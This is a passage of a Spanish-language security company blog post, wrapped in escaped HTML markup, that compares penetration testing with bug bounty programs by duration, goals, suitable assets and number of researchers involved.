           (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
            
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           En primer lugar, ¿qué es bug bounty (recompensa por errores) y qué es penetration testing (prueba de penetración)?
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
            
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Bug Bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           :
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           las empresas permiten que los hackers éticos, investigadores de ciberseguridad y pentesters de todo el mundo reporten los errores y brechas de seguridad que encuentren. Si se considera que un error puede comprometer la seguridad de su sistema, la empresa paga a la persona que envió la vulnerabilidad reportada, lo que generalmente se denomina bug bounty (recompensa por errores).
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
            
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Penetration Testing
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           :
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           una organización contrata a una empresa como
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.deepsecurity.pe/" target="_blank"&gt;&#xD;
      
                      
                      
                      
           DEEP SECURITY
          
                    
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           para realizar una prueba de su entorno e informar sobre cualquier problema de seguridad.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
            
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Las pruebas de penetración se pueden realizar en cualquier sistema, aplicación, red o infraestructura. También se pueden realizar en tres tipos diferentes de pruebas, que incluyen:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Bug+Bounty+Deep+Security-6e41f2c0.png" alt="Una tabla que muestra el cuadro negro, el cuadro gris y el cuadro blanco."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Diferencias entre Pentest y Bug Bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Pentest vs Bug Bounty: distintas duraciones
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Un
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (prueba de penetración) se lleva a cabo dentro de un período de tiempo predeterminado, que generalmente abarca unas pocas semanas por semestre o por año. La duración de la prueba se basa en la complejidad del sistema de destino y el nivel deseado de minuciosidad en la evaluación de seguridad. Proporciona comentarios de seguridad específicos para una fecha determinada, lo que permite a las organizaciones programar pruebas de acuerdo con su ciclo de lanzamiento, evaluar su postura de seguridad y priorizar las medidas de seguridad con regularidad.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Por otro lado, un programa
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensas por errores) a menudo está en curso durante todo el año, sin una fecha de finalización fija. Las pruebas continuas aseguren el monitoreo continuo del perímetro del sistema. Los hacker éticos independientes, también conocidos como cazadores de errores, examinan las nuevas implementaciones a medida que se presentan.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           En algunos casos, los investigadores de seguridad pueden invertir mucho tiempo en un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensas por errores) si tienen un gran interés en el proyecto debido a desafíos técnicos, recompensas atractivas o fascinación personal con el tema.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Pentest vs Bug Bounty: distintas necesidades
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Las motivaciones detrás de un
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (prueba de penetración) y de un programa de bug bounty (recompensa por errores) no son las mismas.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Los objetivos de un
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (pruebas de penetración) son bastante diferentes, se utilizan para:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Evaluar el nivel de seguridad digital de un activo en un momento dado.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Detectar posibles vulnerabilidades que puedan estar ocultas en el activo.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Conducir a certificaciones, que son esenciales para cumplir con ciertos estándares, como SOC2 e ISO 27001, o requisitos contractuales, por ejemplo, como parte de una fusión-adquisición.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Los objetivos de un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensa por errores) son:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Proporcionan un seguimiento continuo de un activo, lo que garantiza que esté bajo un escrutinio constante en busca de posibles vulnerabilidades. Este enfoque permite que las organizaciones se mantengan vigilantes y proactivas al abordar los problemas de seguridad.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Permiten realizar pruebas exhaustivas del activo, enfocándose específicamente en vulnerabilidades complejas que pueden haberse pasado por alto en evaluaciones anteriores.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Pentest vs Bug Bounty: distinto público objetivo 
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (prueba de penetración) es más adecuado para sistemas relativamente nuevos con respecto a la seguridad como aplicaciones que van a salir por primera vez a producción; mientras que un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensas por errores) se recomiendan para perímetros robustos, que ya han pasado por varias pruebas de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           .
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           1.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Pentest (prueba de penetración), el mejor acercamiento a los perímetros relativamente nuevos
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (prueba de penetración) es la opción óptima para perímetros de reciente creación que requieren validación de sus medidas de seguridad, tales como:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Una nueva aplicación o sitio web que nunca antes ha sido auditado.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Una versión nueva posiblemente contenga nuevas vulnerabilidades.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           En el caso de que el activo no se haya sometido a ninguna prueba previa, es muy probable que los investigadores de seguridad descubran numerosas vulnerabilidades. A través de un
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (prueba de penetración), la organización puede abordar las vulnerabilidades más evidentes a un costo predeterminado. Por el contrario, con un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensa por errores), cada vulnerabilidad se informará individualmente, lo que daría como resultado que se pagarán incentivos por separado. Aunque el presupuesto requerido para un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensa por errores) sería significativamente mayor, la cantidad total de vulnerabilidades identificadas seguiría siendo la misma.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            ﻿
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      
                      
                      
                      
           2.	Bug Bounty (recompensa de errores), el enfoque ideal para activos maduros
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Los programas de
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            (recompensas por errores) están diseñados específicamente para activos maduros que ya se han sometido a pruebas y han establecido medidas de seguridad. Cuando una aplicación o sistema ha sido probado a fondo o sus defensas han sido fortalecidas por el equipo de Blue Team, se espera que tenga vulnerabilidades mínimas.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Sin embargo, esto no implica que el activo sea completamente inmune a las vulnerabilidades. Todos los activos digitales poseen inherentemente debilidades explotables, aunque es posible que aún no se hayan descubierto. Aquí es donde la comunidad de hackers éticos juega un papel crucial.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            En un
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            (programa de recompensas por errores), los investigadores pueden dedicar varios meses a buscar activamente vulnerabilidades dentro de un alcance determinado. Estos tienen la oportunidad de descubrir vulnerabilidades complejas que pueden haber pasado desapercibidas durante un
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            (prueba de penetración) tradicional que generalmente dura sólo unas pocas semanas.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Lanzar un programa de
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            (recompensa por errores) en un alcance inmaduro puede resultar potencialmente con mayores costos para la empresa, especialmente si se descubren numerosas vulnerabilidades que podrían haberse abordado a través de una prueba de penetración a un costo fijo. Por otro lado, los programas de recompensas por errores son ideales para probar entornos maduros donde las vulnerabilidades ocultas son más complejas y requieren más tiempo para encontrarlas
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Pentest vs Bug Bounty: conoce el número de investigadores involucrados
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Una distinción clave entre un
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (prueba de penetración) y un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensa por errores) radica en la cantidad de investigadores involucrados en cada programa, lo que afecta significativamente su efectividad.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Por lo general, un
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (prueba de penetración) implica la participación de uno a tres pentesters, teniendo en cuenta el presupuesto asignado y la importancia del proyecto. Por otro lado, un programa de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensa por errores) puede movilizar a toda la comunidad de hackers éticos, lo que podría involucrar a cientos de personas. Esto abre un amplio grupo de investigadores de seguridad con diversas habilidades y experiencia.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
